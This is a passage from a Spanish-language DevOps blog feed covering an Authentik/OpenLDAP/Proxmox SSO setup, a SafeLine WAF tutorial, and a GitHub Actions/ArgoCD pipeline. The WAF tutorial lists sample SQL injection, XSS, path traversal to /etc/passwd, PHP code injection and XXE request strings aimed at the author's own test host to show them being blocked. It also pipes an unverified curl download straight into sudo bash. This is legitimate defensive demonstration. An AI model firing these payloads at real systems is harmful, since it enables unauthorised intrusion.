<pre><code class="lang-yaml"><span class="hljs-string">echo</span> <span class="hljs-string">"PG_PASS=$(openssl rand -base64 36 | tr -d '\n')"</span> <span class="hljs-string">&gt;&gt;</span> <span class="hljs-string">.env</span>
<span class="hljs-string">echo</span> <span class="hljs-string">"AUTHENTIK_SECRET_KEY=$(openssl rand -base64 60 | tr -d '\n')"</span> <span class="hljs-string">&gt;&gt;</span> <span class="hljs-string">.env</span>
</code></pre>
<p>En este archivo .env, también agregamos nuestro SMTP.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># SMTP Host Emails are sent to</span>
<span class="hljs-string">AUTHENTIK_EMAIL__HOST=localhost</span>
<span class="hljs-string">AUTHENTIK_EMAIL__PORT=25</span>
<span class="hljs-comment"># Optionally authenticate (don't add quotation marks to your password)</span>
<span class="hljs-string">AUTHENTIK_EMAIL__USERNAME=</span>
<span class="hljs-string">AUTHENTIK_EMAIL__PASSWORD=</span>
<span class="hljs-comment"># Use StartTLS</span>
<span class="hljs-string">AUTHENTIK_EMAIL__USE_TLS=false</span>
<span class="hljs-comment"># Use SSL</span>
<span class="hljs-string">AUTHENTIK_EMAIL__USE_SSL=false</span>
<span class="hljs-string">AUTHENTIK_EMAIL__TIMEOUT=10</span>
<span class="hljs-comment"># Email address authentik will send from, should have a correct @domain</span>
<span class="hljs-string">AUTHENTIK_EMAIL__FROM=authentik@localhost</span>
</code></pre>
<h3 id="heading-configuracion-de-openldap">Configuracion de OpenLDAP</h3>
<p>Vamos a popular nuestro <strong>OpenLDAP</strong>.Para ello generamos un archivo <strong>.ldif</strong> que creara la <strong>OU=Groups</strong>, <strong>OU=People</strong> &amp; un Grupo <strong>admins</strong> y un usuario de prueba <strong>UID=sfernandez</strong>.</p>
<pre><code class="lang-yaml"><span class="hljs-comment"># ou_usuarios.ldif</span>
<span class="hljs-attr">dn:</span> <span class="hljs-string">ou=People,dc=esprueba,dc=com</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">organizationalUnit</span>
<span class="hljs-attr">ou:</span> <span class="hljs-string">People</span>

<span class="hljs-attr">dn:</span> <span class="hljs-string">ou=Groups,dc=esprueba,dc=com</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">organizationalUnit</span>
<span class="hljs-attr">ou:</span> <span class="hljs-string">Groups</span>

<span class="hljs-comment"># Crear grupo de prueba</span>
<span class="hljs-attr">dn:</span> <span class="hljs-string">cn=admins,ou=Groups,dc=esprueba,dc=com</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">top</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">posixGroup</span>
<span class="hljs-attr">gidNumber:</span> <span class="hljs-number">10000</span>
<span class="hljs-attr">cn:</span> <span class="hljs-string">admins</span>

<span class="hljs-comment"># Crear usuario de prueba</span>
<span class="hljs-attr">dn:</span> <span class="hljs-string">uid=sfernandez,ou=People,dc=esprueba,dc=com</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">inetOrgPerson</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">posixAccount</span>
<span class="hljs-attr">objectClass:</span> <span class="hljs-string">top</span>
<span class="hljs-attr">uid:</span> <span class="hljs-string">sfernandez</span>
<span class="hljs-attr">sn:</span> <span class="hljs-string">Fernandez</span>
<span class="hljs-attr">givenName:</span> <span class="hljs-string">Santiago</span>
<span class="hljs-attr">cn:</span> <span class="hljs-string">Santiago</span> <span class="hljs-string">Fernandez</span>
<span class="hljs-attr">displayName:</span> <span class="hljs-string">Santiago</span> <span class="hljs-string">Fernandez</span>
<span class="hljs-attr">uidNumber:</span> <span class="hljs-number">1001</span>
<span class="hljs-attr">gidNumber:</span> <span class="hljs-number">10000</span>
<span class="hljs-attr">homeDirectory:</span> <span class="hljs-string">/home/sfernandez</span>
<span class="hljs-attr">userPassword:</span> {<span class="hljs-string">SSHA</span>}<span class="hljs-string">passwordhash</span>
</code></pre>
<p>Antes de agregar la configuracion corremos el comando para generar la constrasena de sfernandez y luego lo pegamos en el ldif.</p>
<pre><code class="lang-yaml"><span class="hljs-string">slappasswd</span>
</code></pre>
<p>Modificamos el archivo donde dice <code>userPassword</code>.</p>
<pre><code class="lang-yaml"><span class="hljs-string">ldapadd</span> <span class="hljs-string">-x</span> <span class="hljs-string">-D</span> <span class="hljs-string">"cn=admin,dc=esprueba,dc=com"</span> <span class="hljs-string">-W</span> <span class="hljs-string">-f</span> <span class="hljs-string">ou_usuarios.ldif</span> <span class="hljs-string">-W</span>
</code></pre>
<p>¡Listo! Ya tenemos al usuario <strong>sfernandez</strong> dentro de <strong>OU=People</strong>. Vamos a verificarlo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728330430502/44029c94-1ef8-4c66-a890-44246db55e2f.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-configuracion-authentik">Configuracion Authentik</h3>
<p>Podemos ir a nuestro navegador favorito y acceder a <strong>Authentik</strong>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728047696816/0234ab0b-8563-46c0-80f1-528b65eb4bdc.png" alt class="image--center mx-auto" /></p>
<p>Para la configuración inicial del usuario admin, deben ingresar al link: <code>http://{IP_ADDRESS}:{PORT}/if/flow/initial-setup/</code>.</p>
<ul>
<li><strong>username</strong>: akadmin</li>
</ul>
<p>Hacemos el primer login para cambiar la contraseña.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728047867761/acec2cd7-e782-4b2d-b506-f76d440ea8f7.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-ldap-como-identity-provider">LDAP como Identity Provider</h1>
<p>Necesitamos que nuestro LDAP sea una fuente para nuestro manejador de identtidades.</p>
<h3 id="heading-agregar-openldap-como-fuente">Agregar OpenLDAP como Fuente</h3>
<p>Vamos a Directorio, luego al apartado de Federacion y Social Login.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728141306386/0bb05151-0394-40b0-9210-801d5961aef5.png" alt class="image--center mx-auto" /></p>
<p>Logicamente vamos a configurar nuestro LDAP, como Source.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728141343832/fea02183-95f5-4ce8-9bd0-c0a5d9d520ef.png" alt class="image--center mx-auto" /></p>
<p>Vamos a identificarlo y dejar estas casillas activadas.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728141695258/6d53ea39-5c42-427a-92d3-b692ffa9dc89.png" alt class="image--center mx-auto" /></p>
<p>Para conocer la direccion IP de mi servidor LDAP, utilice este comando, sino pondemos el nombre del contenedor.</p>
<div data-node-type="callout">
<div data-node-type="callout-emoji">💡</div>
<div data-node-type="callout-text">docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' openldap</div>
</div>

<p>Mi configuracion quedo de esta manera.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728330893026/8cfcc465-600a-4f5d-8ca7-6669cff8c0c1.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728330916422/c67aa46f-8637-47e3-af0b-1f1621453b5e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728330930998/786ce853-c866-48cd-964e-4b731ed16295.png" alt class="image--center mx-auto" /></p>
<p>Sincronizamos y listo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728331135095/88a892f2-d356-47aa-a057-b23bb8246e4d.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-configurar-aplicaciones">Configurar Aplicaciones</h2>
<p>Voy a configurar mi Proxmox para que sea utilizado como aplicacion dentro del enterno del usuario sfernandez. Para ello vamos a configurar en base al protocolo <strong>OAuth2/OpenID</strong>. Vamos a crear la aplicacion. Para ello iniciamos el Wizard. Yo deseo agregar Proxmox.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728339264391/7672c166-d36a-4d2b-b271-03705eabefcd.png" alt class="image--center mx-auto" /></p>
<p>Selecciono el Single Sign On que utilizaremos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728339312846/f773c6e9-cc43-4b1f-8b3a-eb57b6ac3b5f.png" alt class="image--center mx-auto" /></p>
<p>Vamos a copiar los valores de Client ID &amp; Client Secret.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728339395720/920939ed-c506-4a4e-92bd-f4cdf0f4dbfd.png" alt class="image--center mx-auto" /></p>
<p>Vamos a agregar la aplicacion al usuario, para que sea parte de sus aplicativos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728339502652/72ae0c96-aa46-41ac-8e55-f3466c4cedfd.png" alt class="image--center mx-auto" /></p>
<p>Logico en un ambiente real lo manejariamos por grupos.</p>
<h3 id="heading-configuracion-de-proxmox">Configuracion de Proxmox</h3>
<p>Ya en Proxmox vamos a ir a Datacenter, luego a Realms y configurar el OpenID Connect Server.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728336714075/22506770-9ed9-42b1-b1e4-7e6c9e2c37c9.png" alt class="image--center mx-auto" /></p>
<p>Dejamos la configuracion de esta manera.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728339630905/1811c0f8-354c-4909-b7bc-e312131c20c6.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-inicio-de-sesion">Inicio de Sesion</h2>
<p>Ya todo listo para que <em>sfernandez</em> haga inicio de sesion en el portal de Authentik y aparezcan las aplicaciones asignadas para un comienzo ameno.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1728340406931/a7cf16ec-1d34-4a27-8128-e791aef35b95.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-referencias">Referencias</h3>
<p><a target="_blank" href="https://docs.goauthentik.io/integrations">https://docs.goauthentik.io/integrations</a></p>
]]></content:encoded></item><item><title><![CDATA[Combatiendo contra Crawlers & Bots]]></title><description><![CDATA[Introducción
¿Te diste cuenta la cantidad de tráfico que generan los Bots 🤖 & Crawlers 🕷️? ¿Lo medis? Segund Imperva el 49,6% del tráfico es automatizado.

Me genera preguntas ¿Cuanto de mas estamos pagando 💵 por nuestra infraestructura? Hace un t...]]></description><link>https://blog.santiagoagustinfernandez.com/combatiendo-contra-crawlers-bots</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/combatiendo-contra-crawlers-bots</guid><category><![CDATA[waf]]></category><category><![CDATA[bot]]></category><category><![CDATA[Crawler]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Sun, 18 Aug 2024 22:27:57 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1724019991759/16ba568f-b8a8-43ac-861c-473cea8a99a8.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduccion">Introducción</h2>
<p>¿Te diste cuenta la cantidad de tráfico que generan los Bots 🤖 &amp; Crawlers 🕷️? ¿Lo medis? Segund <a target="_blank" href="https://www.imperva.com/resources/reports/2023-Imperva-Bad-Bot-Report.pdf">Imperva</a> el 49,6% del tráfico es automatizado.</p>
<p><img src="https://media.licdn.com/dms/image/D5610AQFH1xEJXUAoLA/image-shrink_800/0/1713452102787?e=2147483647&amp;v=beta&amp;t=Iwo3oqQYmj5ElcgkSlRe4HqCEzTe9nyvs0l-5qf4fHI" alt="Imperva on LinkedIn: Move over humans! Bots are taking over the internet,  accounting for 49.6%…" /></p>
<p>Me genera preguntas ¿Cuanto de mas estamos pagando 💵 por nuestra infraestructura? Hace un tiempo <a target="_blank" href="https://blog.santiagoagustinfernandez.com/reforzando-la-seguridad-con-un-waf-open-source-primera-linea-de-defensa">escribí</a> sobre Nginx como WAF, agregando ModSecurity, hoy me encuentro con un proyecto que me llamo la atencion como <a target="_blank" href="https://waf.chaitin.com/">SafeLine</a>. ¿Por que? Es un Web Application Firewall fácil de usar y muy eficaz, ya ha cosechado la cifra de 11,6 mil estrellas en GitHub. Diseñado para proteger los servicios web de los ataques de hackers, filtrando y monitorizando el tráfico HTTP entre las aplicaciones web e Internet. Estas métricas me dejaron pensando.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723821001000/a9faab0a-2137-4c22-9a4d-e850482a5cab.png" alt class="image--center mx-auto" /></p>
<p>Un <strong>WAF</strong> ayuda a proteger las aplicaciones web filtrando y supervisando el tráfico HTTP entre una aplicación web e Internet. Normalmente protege las aplicaciones web de ataques como la inyección SQL, XSS, inyección de código, inyección de comandos, inyección CRLF, inyección ldap, inyección xpath, RCE, XXE, SSRF, path traversal, backdoor, bruteforce, http-flood, bot abused, entre otros.</p>
<h2 id="heading-instalacion-de-safeline">Instalación de SafeLine</h2>
<p>En mi caso voy a crear un maquina virtual para proteger mi aplicación, sobre un ambiente Kubernetes. Si quisieran desplegar directamente <strong>SafeLine</strong>, con Nginx Ingress, sobre un Cluster les recomiendo leer este <a target="_blank" href="https://www.linkedin.com/pulse/elevating-kubernetes-security-deploying-safeline-waf-nimnas-ahamed-vm5ye/">artículo</a>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723822505826/1d083840-3c3a-4f4a-8d64-e25ade80945e.png" alt class="image--center mx-auto" /></p>
<p>El <strong>waf</strong> tiene la <strong>192.168.0.23</strong> y entregara todo el trafico, analizado, a nuestro nodo <strong>Kubernetes</strong> en <strong>192.168.0.22</strong> que contiene <strong>app.esprueba.com</strong>. Vamos agregar en el waf la entrada DNS local.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723823209627/22097bbe-1b99-4d0a-a84d-350d0c07ccea.png" alt class="image--center mx-auto" /></p>
<p>Comenzamos con la instalación.</p>
<pre><code class="lang-plaintext">sudo bash -c "$(curl -fsSLk https://waf.chaitin.com/release/latest/setup.sh)"
</code></pre>
<p>Una vez instalado la consola nos entrega el usuario y password para empezar la configuración. Vamos apuntar nuestro Firewall a WAF, que hará de proxy reverso y luego el upstream al Kubernetes.</p>
<p>Asi estaba antes.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1400/0*BzNKiLeXUNmUIPTO.jpg" alt /></p>
<p>De esta manera quedara.</p>
<p><img src="https://miro.medium.com/v2/resize:fit:1400/0*ukqqQAdE64udZuyR.jpg" alt /></p>
<h2 id="heading-creacion-de-certificado">Creación de Certificado</h2>
<p>En la pestana Web Services &gt; Certificate &gt; Add Cert</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723846868152/235bc2c3-c780-45b0-955c-de9ac0b0e570.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723846911308/1983384a-7ea3-4e1c-84ed-d4dcee644e63.png" alt class="image--center mx-auto" /></p>
<p>Agregamos un Web Service.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723846976572/ad8e0e27-c056-4a99-85de-6cc748162d69.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723847135683/b65a8eaf-59b6-4379-a181-7c9176edfc08.png" alt class="image--center mx-auto" /></p>
<p>Ya tenemos nuestra aplicación protegida. Encendemos el Anti Bot y el Rate Limit. Tenemos gran cantidad de opciones a configurar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723847243543/453a3685-8236-4c1c-95f2-7bf591bd97e9.png" alt class="image--center mx-auto" /></p>
<p>Apenas publicado ya empieza a darnos datos.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723847311608/c5a320b3-64e5-4ca8-861f-f674d49516dd.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723847340984/d5108f8b-7d63-4fd9-92b7-55877bcf947a.png" alt class="image--center mx-auto" /></p>
<p>Acá las reglas que ya estamos analizando por defecto.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723847412656/ff12eb37-d87c-4a66-87a0-7933f94283c9.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-ataques">Ataques</h2>
<ul>
<li><p><strong>SQL Injection Attack:</strong> <a target="_blank" href="https://chaitin.com/?id=1+and+1%3D2+union+select+1"><code>https://app.esprueba.com/?id=1+and+1=2+union+select+1</code></a></p>
</li>
<li><p><strong>XSS Attack:</strong> <code>https://app.esprueba.com/?id=&lt;img+src=x+onerror=alert()&gt;</code></p>
</li>
<li><p><strong>Path Traversal Attack:</strong> <a target="_blank" href="https://chaitin.com/?id=..%2F..%2F..%2F..%2Fetc%2Fpasswd"><code>https://app.esprueba.com/?id=../../../../etc/passwd</code></a></p>
</li>
<li><p><strong>Code Injection Attack:</strong> <a target="_blank" href="https://chaitin.com/?id=phpinfo%28%29%3Bsystem%28%27id%27%29"><code>https://app.esprueba.com/?id=phpinfo();system('id')</code></a></p>
</li>
<li><p><strong>XXE Attack:</strong> <code>https://app.esprueba.com/?id=&lt;?xml+version="1.0"?&gt;&lt;!DOCTYPE+foo+SYSTEM+""&gt;</code></p>
</li>
</ul>
<p>Aca vemos la pantalla, que ve el atacante.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724019058935/a4c23415-aed5-4de5-a654-0a4dde7ce56e.png" alt class="image--center mx-auto" /></p>
<p>Mientras en nuestra consola.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724019289370/0c6dd7e5-e697-49ed-99cb-d33914b312ed.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1724019317998/53073e4f-25d8-4fc4-ba49-bd1255dd40d4.png" alt class="image--center mx-auto" /></p>
<p>La verdad que este proyecto es muy interesante. Me gustaria verlo en un ambiente productivo, el nivel de detalle. ¿El costo? 100US/M o 600US/Y. Poco.</p>
<p>Espero que les haya gustado y lo prueben.</p>
<h2 id="heading-referencias">Referencias</h2>
<p><a target="_blank" href="https://medium.com/@lulu.liu12345/boost-kubernetes-security-deploying-safeline-waf-with-ingress-nginx-09f7a19d985d">https://medium.com/@lulu.liu12345/boost-kubernetes-security-deploying-safeline-waf-with-ingress-nginx-09f7a19d985d</a></p>
<p><a target="_blank" href="https://medium.com/@lulu.liu12345/safeline-the-open-source-waf-thats-gaining-traction-on-github-85e2243be39e">https://medium.com/@lulu.liu12345/safeline-the-open-source-waf-thats-gaining-traction-on-github-85e2243be39e</a></p>
]]></content:encoded></item><item><title><![CDATA[Un pipeline simple, pero efectivo. 😉]]></title><description><![CDATA[Introducción
Hace tiempo que no actualizo los proyectos DevOps del Blog, así que vamos a crear algo sencillo pero eficaz para aquellos que están haciendo sus primeras armas en este mundo.
Les comparto este proyecto para que puedan desplegarlo fácilme...]]></description><link>https://blog.santiagoagustinfernandez.com/un-pipeline-simple-pero-efectivo</link><guid isPermaLink="true">https://blog.santiagoagustinfernandez.com/un-pipeline-simple-pero-efectivo</guid><category><![CDATA[github-actions]]></category><category><![CDATA[GitHub]]></category><category><![CDATA[Kubernetes]]></category><category><![CDATA[ArgoCD]]></category><dc:creator><![CDATA[Santiago Fernandez]]></dc:creator><pubDate>Wed, 14 Aug 2024 15:43:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1723662772725/f7a0023c-5ee6-4a98-a4cb-382fd4d795de.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-introduccion">Introducción</h2>
<p>Hace tiempo que no actualizo los proyectos DevOps del Blog, así que vamos a crear algo sencillo pero eficaz para aquellos que están haciendo sus primeras armas en este mundo.</p>
<p>Les comparto este <a target="_blank" href="https://github.com/safernandez666/cicd_app">proyecto</a> para que puedan desplegarlo fácilmente en sus entornos. Un pipeline completo. Explicaremos cómo crear una imagen Docker y subirla a Docker Hub, utilizar un Helm Chart y modificarlo, automatizar estos procesos con GitHub Actions, para finalmente desplegarlo en nuestro Kubernetes via ArgoCD.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723645549066/f2f3088e-72f9-4a3d-9093-b9d81bfac83c.png" alt class="image--center mx-auto" /></p>
<p>Aca el contenido del proyecto, pero tranquilos que vamos a ir paso a paso.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723645952934/1b1ede28-9074-4662-a2fe-afc6bacccc20.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-creacion-de-imagen-docker">Creación de Imagen Docker</h2>
<p>Vamos a crear local nuestra imagen docker, solo para probar que el Dockerfile está correcto y luego correrla en el puerto 8080.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723646550910/cde6fc9b-7a50-4f2a-9af7-6e8dcb5301c0.png" alt class="image--center mx-auto" /></p>
<p>¡Todo perfecto!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723646582027/84418fc0-1035-44cd-867c-761ff4f64051.png" alt class="image--center mx-auto" /></p>
<p>Repasamos los comandos.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Construccion de Imagen, debemos estar en la carpeta app donde encontramos el Dockerfile</span>
docker build . -t app
<span class="hljs-comment"># Listar Imagenes</span>
docker images
<span class="hljs-comment"># Levantar el Contenedor </span>
docker run -it --rm -d -p 8080:80 app
<span class="hljs-comment"># Status del Contenedor</span>
docker ps
</code></pre>
<p>El primer paso está correcto. ¡Seguimos!</p>
<h2 id="heading-despliegue-en-kubernetes">Despliegue en Kubernetes</h2>
<p>Vamos a revisar los manifiestos y desplegar. En este caso ya tenemos la imagen en <strong>DockerHub</strong>, para esta prueba, algo que luego hara <strong>GitHub Actions</strong> no solo sera el build, si no también el push al registro.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723647515892/07ceab3d-6cbf-4a6e-a9d3-8f179388fcc2.png" alt class="image--center mx-auto" /></p>
<p>Vamos a repasar los comandos.</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Creo el Namespace app</span>
kubectl create namespace app
<span class="hljs-comment"># Aplico los manifiestos</span>
kubectl apply -f .
<span class="hljs-comment"># Revisamos el Ingress</span>
kubectl get ingress -n app
<span class="hljs-comment"># Listamos los artefactos del Namespace app</span>
kubectl get all -n app
</code></pre>
<p>¿Le pegamos una mirada a cada manifiesto, dentro de k8s/manifest?</p>
<p>Primero el <code>deployment.yaml</code> que referencia a la imagen subida a <strong>DockerHub</strong>.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">apps/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Deployment</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">replicas:</span> <span class="hljs-number">1</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">matchLabels:</span>
      <span class="hljs-attr">app:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">template:</span>
    <span class="hljs-attr">metadata:</span>
      <span class="hljs-attr">labels:</span>
        <span class="hljs-attr">app:</span> <span class="hljs-string">app</span>
    <span class="hljs-attr">spec:</span>
      <span class="hljs-attr">containers:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
        <span class="hljs-attr">image:</span> <span class="hljs-string">safernandez666/app</span> <span class="hljs-comment"># Cambiar por tu imagen en DockerHub</span>
        <span class="hljs-attr">ports:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">containerPort:</span> <span class="hljs-number">80</span>
</code></pre>
<p>Segundo el <code>service.yaml</code>.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Service</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">labels:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">app</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">ports:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">port:</span> <span class="hljs-number">80</span>
    <span class="hljs-attr">targetPort:</span> <span class="hljs-number">80</span>
    <span class="hljs-attr">protocol:</span> <span class="hljs-string">TCP</span>
  <span class="hljs-attr">selector:</span>
    <span class="hljs-attr">app:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">ClusterIP</span>
</code></pre>
<p>Y por último el <code>ingress.yaml</code>, que referencia la FQDN que queremos resolver.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Ingress</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">app</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">nginx.ingress.kubernetes.io/rewrite-target:</span> <span class="hljs-string">/</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">ingressClassName:</span> <span class="hljs-string">nginx</span>
  <span class="hljs-attr">rules:</span>
  <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">app.esprueba.com</span>
    <span class="hljs-attr">http:</span>
      <span class="hljs-attr">paths:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">path:</span> <span class="hljs-string">/</span>
        <span class="hljs-attr">pathType:</span> <span class="hljs-string">Prefix</span>
        <span class="hljs-attr">backend:</span>
          <span class="hljs-attr">service:</span>
            <span class="hljs-attr">name:</span> <span class="hljs-string">app</span>
            <span class="hljs-attr">port:</span>
              <span class="hljs-attr">number:</span> <span class="hljs-number">80</span>
</code></pre>
<p><strong>⚠️ Es necesario que tengamos desplegado ingress en nuestro cluster.</strong></p>
<p>La resolucion, para esta prueba, del FQDN la hice modificando mis registro local apuntando a mi cluster de <strong>Kubernetes</strong>. Dependiendo de la plataforma se hace de diferente manera, si estás tocando Clusters seguramente sepas hacerlo. Si no sabes me avisas 📞 y te guio.</p>
<h2 id="heading-ci-con-github-actions">CI con GitHub Actions</h2>
<p>Vamos al corazón de esta automatización. El manifiesto de <strong>GitHub Actions</strong>. Antes que nada vamos a sumar los secretos de <strong>DockerHub</strong> en las variables. Para ello en tu repositorio, debes hacer lo siguiente.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723648360461/f4870a59-ee1c-4284-8f21-2429297b5ad2.png" alt class="image--center mx-auto" /></p>
<p>Vamos a cargar las variables de inicio para el login en <strong>DockerHub</strong>, una vez cargados los secretos, vamos modificar los permisos de <strong>GITHUB_TOKEN</strong> para poder escribir, desde la <strong>GitHub Actions</strong> en el YAML del Helm Chart.</p>
<p><img src="https://www.raulmelo.me/_vercel/image?url=https%3A%2F%2Fcdn.sanity.io%2Fimages%2Fgc3hakk3%2Fproduction%2F8b5476684f1dfe262c1d8c0abe8b9fca7124311a-1220x1381.png%3Fw%3D1220%26h%3D1381%26auto%3Dformat&amp;w=1280&amp;q=100" alt="fix GitHub bot permission" /></p>
<p>Ahora si revisamos el Workflow que se puede generar desde acá.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1723648458297/d42377c7-3d31-4370-8426-010eca5120fa.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-yaml"><span class="hljs-attr">name:</span> <span class="hljs-string">Build</span> <span class="hljs-string">and</span> <span class="hljs-string">Push</span> <span class="hljs-string">Docker</span> <span class="hljs-string">Image</span> <span class="hljs-string">to</span> <span class="hljs-string">Docker</span> <span class="hljs-string">Hub</span>

<span class="hljs-attr">on:</span> 
  <span class="hljs-attr">push:</span>
    <span class="hljs-attr">branches:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">master</span>
    <span class="hljs-attr">paths-ignore:</span> <span class="hljs-comment"># Si realizamos cambios, aqui, no se dispara el pipeline.</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'k8s/**'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'README.md'</span>

<span class="hljs-attr">jobs:</span>
  <span class="hljs-attr">build-and-update:</span> <span class="hljs-comment"># Construccion de la Imagen &amp; Push en DockerHub</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">Build</span> <span class="hljs-string">Image</span> <span class="hljs-string">and</span> <span class="hljs-string">Update</span> <span class="hljs-string">Helm</span> <span class="hljs-string">Chart</span>
    <span class="hljs-attr">runs-on:</span> <span class="hljs-string">ubuntu-latest</span>
    <span class="hljs-attr">steps:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Check</span> <span class="hljs-string">out</span> <span class="hljs-string">the</span> <span class="hljs-string">repository</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">actions/checkout@v4</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">QEMU</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">docker/setup-qemu-action@v3</span>

      <span class="hljs-bullet">-</span> <span class="hljs-attr">name:</span> <span class="hljs-string">Set</span> <span class="hljs-string">up</span> <span class="hljs-string">Docker</span> <span class="hljs-string">Buildx</span>
        <span class="hljs-attr">uses:</span> <span class="hljs-string">docker/setup-buildx-action@v3</span>

